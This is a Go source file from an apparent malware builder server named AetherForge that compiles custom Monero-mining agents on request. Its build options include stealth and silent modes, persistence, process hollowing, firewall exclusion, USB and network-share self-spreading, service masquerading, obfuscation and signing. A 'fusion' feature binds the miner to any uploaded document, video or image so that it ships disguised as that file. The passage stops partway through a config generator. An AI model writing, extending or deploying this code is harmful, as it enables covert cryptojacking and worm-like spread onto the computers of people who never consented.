Files
AetherForge/server/internal/builder/handler.go

1213 lines
37 KiB
Go

package builder
import (
"context"
"encoding/json"
"fmt"
"io"
"log"
"mime/multipart"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
"sync"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
"github.com/google/uuid"
)
type BuildRequest struct {
WorkerName string `json:"worker_name"`
ServerURL string `json:"server_url"`
BackupServerURLs []string `json:"backup_server_urls"`
Wallet string `json:"wallet"`
OutputDir string `json:"output_dir"`
Threads int `json:"threads"`
ThreadMode string `json:"thread_mode"`
ThreadPercent int `json:"thread_percent"`
CPUPriority string `json:"cpu_priority"`
MiningMode string `json:"mining_mode"`
DisplayMode string `json:"display_mode"`
SilentMode bool `json:"silent_mode"`
RunAs string `json:"run_as"`
AutoStart bool `json:"auto_start"`
Persistence bool `json:"persistence"`
ProcessName string `json:"process_name"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
MaxMemoryPct int `json:"max_memory_percent"`
MinFreeRAMMB int `json:"min_free_ram_mb"`
IdleThresholdPct int `json:"idle_threshold_pct"`
IdleDurationMinutes int `json:"idle_duration_minutes"`
ScheduleStart string `json:"schedule_start"`
ScheduleEnd string `json:"schedule_end"`
InstallBase string `json:"install_base"`
InstallCustomBase string `json:"install_custom_base"`
InstallRelativePath string `json:"install_relative_path"`
AdaptToHardware bool `json:"adapt_to_hardware"`
SelfHealing bool `json:"self_healing"`
FileLogging bool `json:"file_logging"`
StealthMode bool `json:"stealth_mode"`
FirewallExclusion bool `json:"firewall_exclusion"`
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`
PoolTLS bool `json:"pool_tls"`
PoolPass string `json:"pool_pass"`
FusionEnabled bool `json:"fusion_enabled"`
FusionRunOrder string `json:"fusion_run_order"`
FusionOutputName string `json:"fusion_output_name"`
FusionPayloadKind string `json:"fusion_payload_kind"`
FusionMediaMode string `json:"fusion_media_mode"`
FusionMediaBaseName string `json:"fusion_media_base_name"`
FusionExportSubdir string `json:"fusion_export_subdir"`
// AI Autonomy (Ollama)
AIEnabled bool `json:"ai_enabled"`
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
AIModel string `json:"ai_model"`
ProcessHollowing bool `json:"process_hollowing"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
HolePunch bool `json:"hole_punch"`
RemoteAggressive bool `json:"remote_aggressive"`
USBSpread bool `json:"usb_spread"`
ShareSpread bool `json:"share_spread"`
TargetOS string `json:"target_os"`
TargetArch string `json:"target_arch"`
SpreadKit bool `json:"spread_kit"`
Obfuscate bool `json:"obfuscate"`
SignBuild bool `json:"sign_build"`
BackupPools []BackupPool `json:"backup_pools"`
// CancelToken is a client-generated UUID. Pass the same token to
// DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile.
CancelToken string `json:"cancel_token,omitempty"`
}
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
type BackupPool struct {
Host string `json:"host"`
Port int `json:"port"`
TLS bool `json:"tls"`
Pass string `json:"pass"`
}
type BuildResponse struct {
Success bool `json:"success"`
BuildID string `json:"build_id,omitempty"`
FileName string `json:"file_name,omitempty"`
FilePath string `json:"file_path,omitempty"`
RelativePath string `json:"relative_path,omitempty"`
FileSize int64 `json:"file_size,omitempty"`
DownloadURL string `json:"download_url,omitempty"`
UninstallFileName string `json:"uninstall_file_name,omitempty"`
UninstallPath string `json:"uninstall_path,omitempty"`
UninstallDownloadURL string `json:"uninstall_download_url,omitempty"`
ExportPath string `json:"export_path,omitempty"`
UninstallExportPath string `json:"uninstall_export_path,omitempty"`
FusionEnabled bool `json:"fusion_enabled,omitempty"`
FusionExportDir string `json:"fusion_export_dir,omitempty"`
ExtraFiles []BuildArtifactFile `json:"extra_files,omitempty"`
BundleFileName string `json:"bundle_file_name,omitempty"`
BundleDownloadURL string `json:"bundle_download_url,omitempty"`
BundleSize int64 `json:"bundle_size,omitempty"`
WorkerFile string `json:"worker_file,omitempty"`
Signed bool `json:"signed,omitempty"`
Obfuscated bool `json:"obfuscated,omitempty"`
Error string `json:"error,omitempty"`
}
type BuildArtifactFile struct {
FileName string `json:"file_name"`
FilePath string `json:"file_path,omitempty"`
}
type Handler struct {
db *db.Database
dataDir string
agentSrcDir string
projectRoot string
goBinPath string
garblePath string
goWinresPath string
serverModDir string
policy BuildPolicy
fleetSecret string // injected from server config; baked into every forge output
// Active build cancellation — maps cancel_token → cancel func so the frontend
// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
activeCancelsMu sync.Mutex
activeCancels map[string]context.CancelFunc
}
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
func (h *Handler) SetFleetSecret(secret string) {
h.fleetSecret = secret
}
// CancelBuild cancels an in-progress build identified by cancelToken.
// Returns true if the token was found and cancelled, false if unknown.
func (h *Handler) CancelBuild(cancelToken string) bool {
h.activeCancelsMu.Lock()
cancel, ok := h.activeCancels[cancelToken]
h.activeCancelsMu.Unlock()
if ok {
cancel()
}
return ok
}
func (h *Handler) registerCancel(token string, cancel context.CancelFunc) {
h.activeCancelsMu.Lock()
if h.activeCancels == nil {
h.activeCancels = make(map[string]context.CancelFunc)
}
h.activeCancels[token] = cancel
h.activeCancelsMu.Unlock()
}
func (h *Handler) unregisterCancel(token string) {
if token == "" {
return
}
h.activeCancelsMu.Lock()
delete(h.activeCancels, token)
h.activeCancelsMu.Unlock()
}
type SignPolicy struct {
Enabled bool `json:"enabled"`
CertThumbprint string `json:"cert_thumbprint"`
ToolPath string `json:"tool_path"`
TimestampURL string `json:"timestamp_url"`
}
type BuildPolicy struct {
StrictWalletValidation bool
MaxBuildSizeMB int
DefaultObfuscate bool
Sign SignPolicy
}
func (h *Handler) SetBuildPolicy(p BuildPolicy) {
h.policy = p
}
func NewHandler(database *db.Database, dataDir string, agentSrcDir string, projectRoot string) *Handler {
goBin := "go"
if _, err := exec.LookPath("go"); err == nil {
goBin = "go"
}
h := &Handler{
db: database,
dataDir: dataDir,
agentSrcDir: agentSrcDir,
projectRoot: projectRoot,
goBinPath: goBin,
}
h.resolveToolPaths(projectRoot)
return h
}
func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
var req BuildRequest
var prepPath string
var cleanupPrep func()
contentType := r.Header.Get("Content-Type")
if strings.HasPrefix(contentType, "multipart/form-data") {
if err := r.ParseMultipartForm(64 << 20); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
return
}
configJSON := r.FormValue("config")
if configJSON == "" {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Missing config field"})
return
}
if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid config JSON"})
return
}
file, header, err := r.FormFile("prep_exe")
if req.FusionEnabled {
if err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"})
return
}
defer file.Close()
if req.FusionMediaBaseName == "" && header.Filename != "" {
req.FusionMediaBaseName = header.Filename
}
if req.FusionOutputName == "" && header.Filename != "" {
req.FusionOutputName = header.Filename
}
if req.FusionPayloadKind == "" {
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
}
saved, remove, err := h.saveUploadedFusionPayload(file, header)
if err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
return
}
prepPath = saved
cleanupPrep = remove
} else if err == nil {
file.Close()
}
} else {
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
return
}
}
if cleanupPrep != nil {
defer cleanupPrep()
}
if err := h.normalizeRequest(&req); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
return
}
if req.FusionEnabled && prepPath == "" {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no payload file uploaded"})
return
}
// Register cancel token so the frontend can abort this compile mid-flight.
ctx := r.Context()
if req.CancelToken != "" {
var cancelFn context.CancelFunc
ctx, cancelFn = context.WithCancel(ctx)
h.registerCancel(req.CancelToken, cancelFn)
defer h.unregisterCancel(req.CancelToken)
}
_ = ctx // passed to compiler in future; cancellation already fires via process kill
// FusionOutputName will be derived from the payload filename if not set
resp, status, outputPath := h.buildAgent(&req, prepPath)
if !resp.Success {
writeJSON(w, status, resp)
return
}
if r.URL.Query().Get("download") == "1" {
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName))
http.ServeFile(w, r, outputPath)
return
}
writeJSON(w, http.StatusOK, resp)
}
func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
var req BuildRequest
var prepPath string
var prepSize int64
var prepName string
var cleanupPrep func()
contentType := r.Header.Get("Content-Type")
if strings.HasPrefix(contentType, "multipart/form-data") {
if err := r.ParseMultipartForm(64 << 20); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
return
}
configJSON := r.FormValue("config")
if configJSON == "" {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Missing config field"})
return
}
if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid config JSON"})
return
}
file, header, err := r.FormFile("prep_exe")
if err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires prep_exe upload"})
return
}
defer file.Close()
if header != nil {
prepSize = header.Size
prepName = header.Filename
}
if req.FusionPayloadKind == "" {
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
}
saved, remove, err := h.saveUploadedFusionPayload(file, header)
if err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
return
}
prepPath = saved
cleanupPrep = remove
} else {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires multipart prep_exe upload"})
return
}
if cleanupPrep != nil {
defer cleanupPrep()
}
if err := h.normalizeRequest(&req); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
return
}
if !req.FusionEnabled {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion must be enabled for estimate"})
return
}
if req.FusionOutputName == "" && prepName != "" {
req.FusionOutputName = prepName
}
est := h.estimateFusionBuild(&req, prepPath, prepSize, prepName)
writeJSON(w, http.StatusOK, est)
}
func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
buildID := chi.URLParam(r, "id")
build, err := h.db.GetBuild(buildID)
if err != nil {
http.Error(w, "Build not found", http.StatusNotFound)
return
}
if _, err := os.Stat(build.FilePath); err != nil {
http.Error(w, "Build file missing", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(build.FilePath)))
http.ServeFile(w, r, build.FilePath)
}
func (h *Handler) DownloadBuildArtifact(w http.ResponseWriter, r *http.Request) {
buildID := chi.URLParam(r, "id")
if _, err := h.db.GetBuild(buildID); err != nil {
http.Error(w, "Build not found", http.StatusNotFound)
return
}
name := sanitizeFileName(chi.URLParam(r, "name"))
if name == "" || strings.Contains(name, "..") {
http.Error(w, "Invalid artifact name", http.StatusBadRequest)
return
}
buildDir := filepath.Join(h.dataDir, "builds", buildID)
path, err := safePathUnderRoot(buildDir, name)
if err != nil {
if title := strings.TrimSpace(r.URL.Query().Get("export_dir")); title != "" {
title = sanitizeFileName(filepath.Base(title))
deliverablesRoot := filepath.Join(h.projectRoot, FusionDeliverablesDir)
path, err = safePathUnderRoot(filepath.Join(deliverablesRoot, title), name)
}
}
if err != nil {
http.Error(w, "Artifact not found", http.StatusNotFound)
return
}
if _, err := os.Stat(path); err != nil {
http.Error(w, "Artifact not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, name))
http.ServeFile(w, r, path)
}
func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
buildID := chi.URLParam(r, "id")
build, err := h.db.GetBuild(buildID)
if err != nil {
http.Error(w, "Build not found", http.StatusNotFound)
return
}
uninstallPath := strings.TrimSuffix(build.FilePath, filepath.Base(build.FilePath)) +
fmt.Sprintf("uninstall-%s.ps1", sanitizeFileName(build.WorkerName))
if _, err := os.Stat(uninstallPath); err != nil {
http.Error(w, "Uninstall script missing", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(uninstallPath)))
http.ServeFile(w, r, uninstallPath)
}
func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
return h.buildUniversalAgent(req, prepPath)
}
buildID := uuid.New().String()
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
agentDir := filepath.Join(buildDir, "agent")
if err := os.MkdirAll(agentDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
}
if err := h.copyAgentSource(agentDir); err != nil {
log.Printf("Failed to copy agent source: %v", err)
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
}
configDir := filepath.Join(agentDir, "config")
if err := os.MkdirAll(configDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
}
platforms := platformsForRequest(req)
p := platforms[0]
outputPath, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
if err != nil {
log.Printf("Build failed: %v", err)
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
obfuscated := h.shouldObfuscate(req) && h.garblePath != "" && p.GOOS == "windows"
workerName := filepath.Base(outputPath)
finalPath := outputPath
finalName := workerName
var fusionEnabled bool
uninstallName, uninstallPath, err := h.writeUninstallScript(buildDir, buildID, req)
if err != nil {
return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
}
var extraArtifacts []BuildArtifactFile
var fusionRes *fusionBuildResult
if req.FusionEnabled {
if req.FusionPayloadKind == "" {
req.FusionPayloadKind = detectFusionPayloadKind(prepPath)
}
var err error
fusionRes, err = h.buildFusionFromRequest(buildDir, prepPath, outputPath, req)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
finalPath = fusionRes.LauncherPath
finalName = filepath.Base(finalPath)
fusionEnabled = true
if fusionRes.EncryptedPath != "" {
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
FileName: filepath.Base(fusionRes.EncryptedPath),
FilePath: fusionRes.EncryptedPath,
})
}
if fusionRes.ShortcutPath != "" {
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
FileName: filepath.Base(fusionRes.ShortcutPath),
FilePath: fusionRes.ShortcutPath,
})
}
}
var fusionExportDir string
var bundleFileName string
var bundleDownloadURL string
var bundleSize int64
exportPath := ""
if fusionEnabled {
exportLabel := req.FusionMediaBaseName
if exportLabel == "" {
exportLabel = filepath.Base(prepPath)
}
arts := map[string]string{finalName: finalPath}
for _, ex := range extraArtifacts {
arts[ex.FileName] = ex.FilePath
}
// In paired mode the runner looks for the payload file next to (or above) the binary.
// Include it in the deliverable so the ZIP is self-contained without needing the
// user to place the file themselves.
if normalizeFusionMediaMode(req.FusionMediaMode) == "paired" && prepPath != "" {
arts[sanitizeFileName(filepath.Base(prepPath))] = prepPath
}
subdir := fusionExportSubdir(req, exportLabel)
readme := fusionReadmeInfo{
Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
RunnerName: finalName,
MediaName: filepath.Base(exportLabel),
PayloadKind: req.FusionPayloadKind,
MediaMode: req.FusionMediaMode,
}
if readme.Title == "" {
readme.Title = sanitizeFileName(req.WorkerName)
}
dir, err := h.publishFusionDeliverable(subdir, arts, readme)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
fusionExportDir = dir
exportPath = filepath.Join(dir, finalName)
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
FileName: "README.txt",
FilePath: filepath.Join(dir, "README.txt"),
})
for i := range extraArtifacts {
if extraArtifacts[i].FileName != "README.txt" {
extraArtifacts[i].FilePath = filepath.Join(dir, extraArtifacts[i].FileName)
}
}
bundleFileName = fusionBundleZipName(subdir)
bundleBuildPath := filepath.Join(buildDir, bundleFileName)
if err := zipDirectory(dir, bundleBuildPath); err != nil {
return BuildResponse{Success: false, Error: "Failed to create package zip: " + err.Error()}, http.StatusInternalServerError, ""
}
_ = copyFile(bundleBuildPath, filepath.Join(dir, bundleFileName))
if st, err := os.Stat(bundleBuildPath); err == nil {
bundleSize = st.Size()
}
bundleDownloadURL = fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, bundleFileName)
} else {
var err error
exportPath, err = h.publishRootExecutable(finalPath, finalName)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
}
if exportPath == "" {
exportPath, _ = filepath.Abs(finalPath)
}
if strings.TrimSpace(req.OutputDir) != "" {
if ep, eu, err := h.exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, req.OutputDir); err != nil {
log.Printf("[Builder] secondary export: %v", err)
} else {
_ = eu
if exportPath == "" {
exportPath = ep
}
}
}
signed := false
if h.shouldSignBuild(req) {
if err := h.signExecutable(finalPath); err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
}
signed = true
if exportPath != "" && exportPath != finalPath {
_ = h.signExecutable(exportPath)
}
}
fileInfo, err := os.Stat(finalPath)
if err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
}
if h.policy.MaxBuildSizeMB > 0 {
maxBytes := int64(h.policy.MaxBuildSizeMB) * 1024 * 1024
if fileInfo.Size() > maxBytes {
_ = os.RemoveAll(buildDir)
return BuildResponse{Success: false, Error: fmt.Sprintf("build exceeds max size (%d MB)", h.policy.MaxBuildSizeMB)}, http.StatusBadRequest, ""
}
}
absPath, _ := filepath.Abs(finalPath)
relPath, _ := filepath.Rel(h.projectRoot, absPath)
if relPath == "" || strings.HasPrefix(relPath, "..") {
relPath = filepath.Join(h.dataDir, "builds", buildID, finalName)
}
// Normalise platform tag for easy lookup by /get endpoint
recordPlatform := strings.ToLower(strings.TrimSpace(req.TargetOS))
if recordPlatform == "" {
recordPlatform = "windows"
}
dlURL := fmt.Sprintf("/api/v1/builds/%s/download", buildID)
if bundleDownloadURL != "" {
dlURL = bundleDownloadURL
}
buildRecord := &models.BuildRecord{
ID: buildID,
WorkerName: req.WorkerName,
ServerURL: req.ServerURL,
Wallet: req.Wallet,
Threads: req.Threads,
FileSize: fileInfo.Size(),
BundleSize: bundleSize,
FilePath: absPath,
FileName: finalName,
DownloadURL: dlURL,
Platform: recordPlatform,
CreatedAt: time.Now(),
PoolHost: req.PoolHost,
PoolPort: req.PoolPort,
PoolTLS: req.PoolTLS,
PoolPass: req.PoolPass,
}
if err := h.db.InsertBuild(buildRecord); err != nil {
log.Printf("Failed to record build: %v", err)
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
}
resp := BuildResponse{
Success: true,
BuildID: buildID,
FileName: finalName,
FilePath: absPath,
RelativePath: relPath,
FileSize: fileInfo.Size(),
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID),
UninstallFileName: uninstallName,
UninstallPath: uninstallPath,
UninstallDownloadURL: fmt.Sprintf("/api/v1/builds/%s/uninstall", buildID),
ExportPath: exportPath,
UninstallExportPath: "",
FusionEnabled: fusionEnabled,
FusionExportDir: fusionExportDir,
ExtraFiles: extraArtifacts,
BundleFileName: bundleFileName,
BundleDownloadURL: bundleDownloadURL,
BundleSize: bundleSize,
WorkerFile: workerName,
Signed: signed,
Obfuscated: obfuscated,
}
if fusionEnabled && bundleDownloadURL != "" {
resp.DownloadURL = bundleDownloadURL
resp.FileName = bundleFileName
if bundleSize > 0 {
resp.FileSize = bundleSize
}
}
return resp, http.StatusOK, finalPath
}
// publishRootExecutable writes the forged installer as a single file in the project root.
func (h *Handler) publishRootExecutable(finalPath, finalName string) (string, error) {
if h.projectRoot == "" || h.projectRoot == "." {
abs, _ := filepath.Abs(finalPath)
return abs, nil
}
dest := filepath.Join(h.projectRoot, filepath.Base(finalName))
if err := copyFile(finalPath, dest); err != nil {
return "", fmt.Errorf("failed to write %s to project root: %w", filepath.Base(finalName), err)
}
log.Printf("[Builder] Forge output -> %s", dest)
return dest, nil
}
// exportBuildArtifacts copies the forged exe + uninstall script to an optional subfolder (e.g. exports).
func (h *Handler) exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, outputDir string) (string, string, error) {
clean := strings.TrimSpace(outputDir)
if clean == "" {
return "", "", nil
}
clean = filepath.Clean(clean)
if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) {
return "", "", fmt.Errorf("invalid output_dir (use a simple folder name like exports)")
}
exportDir := ""
if h.projectRoot != "" {
exportDir = filepath.Join(h.projectRoot, clean)
} else {
exportDir = filepath.Join(h.dataDir, clean)
}
if err := os.MkdirAll(exportDir, 0755); err != nil {
return "", "", fmt.Errorf("failed to create export folder: %w", err)
}
exportExe := filepath.Join(exportDir, finalName)
if err := copyFile(finalPath, exportExe); err != nil {
return "", "", fmt.Errorf("failed to export build: %w", err)
}
exportUninstall := filepath.Join(exportDir, uninstallName)
_ = copyFile(uninstallPath, exportUninstall)
log.Printf("[Builder] Exported %s -> %s", finalName, exportExe)
return exportExe, exportUninstall, nil
}
func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.WorkerName == "" {
return fmt.Errorf("worker_name is required")
}
if req.ServerURL == "" {
return fmt.Errorf("server_url is required")
}
if req.Wallet == "" {
return fmt.Errorf("wallet is required")
}
if h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) {
return fmt.Errorf("wallet must be a valid Monero mainnet address (starts with 4, 95 chars)")
}
req.OutputDir = strings.TrimSpace(req.OutputDir)
if req.OutputDir != "" {
// must be relative to data_dir; no drive letters, no absolute paths, no traversal
clean := filepath.Clean(req.OutputDir)
if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) || strings.Contains(clean, ":") {
return fmt.Errorf("output_dir must be a relative folder under data_dir")
}
req.OutputDir = clean
}
if req.Threads <= 0 {
req.Threads = 4
}
if req.ThreadMode == "" {
req.ThreadMode = "percent"
}
if req.ThreadPercent <= 0 {
req.ThreadPercent = 75
}
if req.ThreadPercent > 100 {
req.ThreadPercent = 100
}
if req.DisplayMode == "" {
if req.SilentMode {
req.DisplayMode = "silent"
} else {
req.DisplayMode = "background"
}
}
if req.Persistence {
req.AutoStart = true
}
if req.ProcessName == "" {
req.ProcessName = sanitizeFileName(req.WorkerName)
}
if req.MaxMemoryPct <= 0 {
req.MaxMemoryPct = 70
}
if req.CPUPriority == "" {
req.CPUPriority = "below_normal"
}
if req.MiningMode == "" {
req.MiningMode = "always"
}
if req.RunAs == "" {
req.RunAs = "user"
}
if req.MaxCPUUsagePct <= 0 {
req.MaxCPUUsagePct = 80
}
if req.MinFreeRAMMB <= 0 {
req.MinFreeRAMMB = 1024
}
if req.IdleThresholdPct <= 0 {
req.IdleThresholdPct = 20
}
if req.IdleDurationMinutes <= 0 {
req.IdleDurationMinutes = 5
}
if req.ScheduleStart == "" {
req.ScheduleStart = "21:00"
}
if req.ScheduleEnd == "" {
req.ScheduleEnd = "06:00"
}
if req.InstallBase == "" {
req.InstallBase = "localappdata"
}
if req.InstallRelativePath == "" {
req.InstallRelativePath = "CryptoMiner/{worker}-{build_short}"
}
if req.InstallBase == "custom" && strings.TrimSpace(req.InstallCustomBase) == "" {
return fmt.Errorf("install_custom_base is required when install_base is custom")
}
if req.StealthMode {
req.FileLogging = false
if req.DisplayMode == "" || req.DisplayMode == "visible" {
req.DisplayMode = "background"
}
}
if req.PoolHost == "" {
req.PoolHost = "pool.supportxmr.com"
}
if req.PoolPort <= 0 {
req.PoolPort = 3333
}
if req.PoolPass == "" {
req.PoolPass = "x"
}
if req.FusionEnabled {
if req.FusionRunOrder == "" {
req.FusionRunOrder = "parallel"
}
if req.FusionOutputName == "" {
req.FusionOutputName = "prep.exe"
}
if req.FusionMediaMode == "" {
req.FusionMediaMode = "paired"
}
req.FusionMediaMode = normalizeFusionMediaMode(req.FusionMediaMode)
if req.DisplayMode == "" || req.DisplayMode == "visible" {
req.DisplayMode = "background"
}
}
if req.AIEnabled {
if req.AIOllamaEndpoint == "" {
req.AIOllamaEndpoint = "http://localhost:11434"
}
if req.AIModel == "" {
req.AIModel = "llama3.2"
}
}
if strings.TrimSpace(req.TargetOS) == "" {
req.TargetOS = "windows"
}
if req.SpreadKit {
req.FusionEnabled = false
req.TargetOS = "universal"
if req.RunAs == "" || req.RunAs == "user" {
req.RunAs = "scheduled"
}
req.Persistence = true
req.AutoStart = true
}
return nil
}
func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
if header == nil {
return "", nil, fmt.Errorf("fusion upload is missing")
}
if header.Size > FusionMaxUploadBytes {
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
}
if header.Size < 0 {
return "", nil, fmt.Errorf("fusion upload size unknown — retry with a smaller file")
}
baseName := filepath.Base(header.Filename)
if baseName == "" || baseName == "." {
return "", nil, fmt.Errorf("fusion upload filename is invalid")
}
if !isFusionPayloadExt(baseName) {
return "", nil, fmt.Errorf("fusion upload has no recognisable file extension")
}
prepRoot := filepath.Join(h.dataDir, "preps")
if err := os.MkdirAll(prepRoot, 0755); err != nil {
return "", nil, fmt.Errorf("failed to create preps directory: %w", err)
}
dir, err := os.MkdirTemp(prepRoot, "upload-*")
if err != nil {
return "", nil, err
}
dest := filepath.Join(dir, sanitizeFileName(baseName))
out, err := os.Create(dest)
if err != nil {
os.RemoveAll(dir)
return "", nil, err
}
written, err := io.Copy(out, io.LimitReader(file, FusionMaxUploadBytes+1))
out.Close()
if err != nil {
os.RemoveAll(dir)
return "", nil, err
}
if written == 0 {
os.RemoveAll(dir)
return "", nil, fmt.Errorf("fusion upload is empty")
}
if written > FusionMaxUploadBytes {
os.RemoveAll(dir)
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
}
cleanup := func() { _ = os.RemoveAll(dir) }
return dest, cleanup, nil
}
// isFusionPayloadExt accepts any file with a non-empty extension.
// Fusion now supports any file type — PDF, video, document, image, executable, etc.
func isFusionPayloadExt(name string) bool {
ext := strings.ToLower(filepath.Ext(name))
return ext != "" && ext != "."
}
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
// Build ID: %s
// Generated at: %s
package config
import "time"
func GetBuiltinConfig() BuiltinConfig {
return BuiltinConfig{
WorkerName: %q,
ServerURL: %q,
Wallet: %q,
Threads: %d,
ThreadMode: %q,
ThreadPercent: %d,
CPUPriority: %q,
MiningMode: %q,
DisplayMode: %q,
SilentMode: %v,
RunAs: %q,
AutoStart: %v,
ProcessName: %q,
BuildID: %q,
BuiltAt: time.Unix(%d, 0),
PoolHost: %q,
PoolPort: %d,
PoolTLS: %v,
PoolPass: %q,
MaxCPUUsage: %d,
MaxMemoryPct: %d,
MinFreeRAM: %d,
IdleThresholdPct: %d,
IdleDurationMinutes: %d,
ScheduleStart: %q,
ScheduleEnd: %q,
InstallBase: %q,
InstallCustomBase: %q,
InstallRelativePath: %q,
AdaptToHardware: %v,
SelfHealing: %v,
FileLogging: %v,
StealthMode: %v,
FirewallExclusion: %v,
AIEnabled: %v,
AIOllamaEndpoint: %q,
AIModel: %q,
ProcessHollowing: %v,
MeshP2P: %v,
AutoSpread: %v,
HolePunch: %v,
RemoteAggressive: %v,
USBSpread: %v,
ShareSpread: %v,
BackupServerURLs: %s,
BackupPools: %s,
ServiceMasquerade: %v,
ServiceName: %q,
ServiceDonor: %q,
FleetSecret: %q,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
req.WorkerName,
req.ServerURL,
req.Wallet,
req.Threads,
req.ThreadMode,
req.ThreadPercent,
req.CPUPriority,
req.MiningMode,
req.DisplayMode,
req.SilentMode,
req.RunAs,
req.AutoStart,
req.ProcessName,
buildID,
time.Now().Unix(),
req.PoolHost,
req.PoolPort,
req.PoolTLS,
req.PoolPass,
req.MaxCPUUsagePct,
req.MaxMemoryPct,
req.MinFreeRAMMB,
req.IdleThresholdPct,
req.IdleDurationMinutes,
req.ScheduleStart,
req.ScheduleEnd,
req.InstallBase,
req.InstallCustomBase,
req.InstallRelativePath,
req.AdaptToHardware,
req.SelfHealing,
req.FileLogging,
req.StealthMode,
req.FirewallExclusion,
req.AIEnabled,
req.AIOllamaEndpoint,
req.AIModel,
req.ProcessHollowing,
req.MeshP2P,
req.AutoSpread,
req.HolePunch,
req.RemoteAggressive,
req.USBSpread,
req.ShareSpread,
